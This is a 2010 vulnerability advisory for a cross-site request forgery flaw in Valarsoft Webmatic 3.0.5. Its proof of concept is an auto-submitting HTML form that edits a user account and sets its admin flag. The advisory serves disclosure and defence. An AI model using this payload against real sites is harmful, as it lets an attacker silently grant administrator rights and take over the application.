Vulnerability ID: HTB22570 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_webmatic.html Product: Webmatic Vendor: Valarsoft ( http://www.valarsoft.com/ ) Vulnerable Version: 3.0.5 and Probably Prior Versions Vendor Notification: 09 August 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the user editing script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/index.php" method="post" name="main" > <input type="hidden" name="groupID" value="1" /> <input type="hidden" name="name" value="username" /> <input type="hidden" name="surname" value="user" /> <input type="hidden" name="avatar" value="bsd.png" /> <input type="hidden" name="address" value="" /> <input type="hidden" name="zip_code" value="" /> <input type="hidden" name="city" value="" /> <input type="hidden" name="stateID" value="0" /> <input type="hidden" name="countryID" value="0" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" /> <input type="hidden" name="cell" value="" /> <input type="hidden" name="email" value="email@xxxxxxxxxxx" /> <input type="hidden" name="website" value="" /> <input type="hidden" name="icq" value="" /> <input type="hidden" name="birth_date" value="0000-00-00" /> <input type="hidden" name="birth_date" value="0000-00-00" /> <input type="hidden" name="birth_date" value="0000-00-00" /> <input type="hidden" name="gender" value="M" /> <input type="hidden" name="birth_city" value="" /> <input type="hidden" name="birth_stateID" value="0" /> <input type="hidden" name="birth_countryID" value="0" /> <input type="hidden" name="enabled" value="1" /> <input type="hidden" name="notes" value="" /> <input type="hidden" name="admin" value="1" /> <input type="hidden" name="send" value="Save" /> <input type="hidden" name="stage" value="2" /> <input type="hidden" name="section" value="13" /> <input type="hidden" name="action" value="232" /> <input type="hidden" name="userID" value="7" /> </form> <script> document.main.submit(); </script>